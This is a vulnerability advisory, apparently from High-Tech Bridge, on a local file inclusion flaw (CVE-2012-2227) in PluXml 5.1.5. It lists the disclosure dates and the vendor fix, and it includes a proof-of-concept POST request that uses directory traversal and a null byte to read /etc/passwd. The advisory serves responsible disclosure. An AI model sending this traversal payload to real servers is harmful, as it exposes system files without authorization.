We have helped our customers to fix 24 414 vulnerabilities
ImmuniWeb® by High-Tech Bridge


High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Local File Inclusion in PluXml

Advisory ID:HTB23086
Product:PluXml
Vendor: PluXml
Vulnerable Versions:5.1.5 and probably prior
Tested Version:5.1.5
Advisory Publication:April 11, 2012 [without technical details]
Vendor Notification:April 11, 2012
Vendor Fix:April 16, 2012
Public Disclosure:May 2, 2012
Latest Update:April 18, 2012
Vulnerability Type:PHP File Inclusion [CWE-98]
CVE Reference:CVE-2012-2227
Risk Level:High
CVSSv2 Base Score:7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabiliy in PluXml, which can be exploited to perform Local File Inclusion attacks.

1) Local File Inclusion in PluXml
1.1 Input passed via the "default_lang" POST parameter to /update/index.php is not properly verified before being used in include_once() function and can be exploited to include arbitrary local files.
This can be exploited to include local files via directory traversal sequences and URL-encoded NULL bytes.
The following PoC (Proof of Concept) demonstrates the vulnerability:
POST /update/index.php HTTP/1.1
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: [...]

default_lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to PluXml 5.1.6

More Information:
http://www.pluxml.org/article59/sortie-de-pluxml-5-1-6
http://telechargements.pluxml.org/changelog


References:
[1] High-Tech Bridge Advisory HTB23086 - https://www.htbridge.com/advisory/HTB23086 - Local File Inclusion in PluXml.
[2] PluXml - http://www.pluxml.org - PluXml is a script to create a site or a blog.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments and Opinions


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.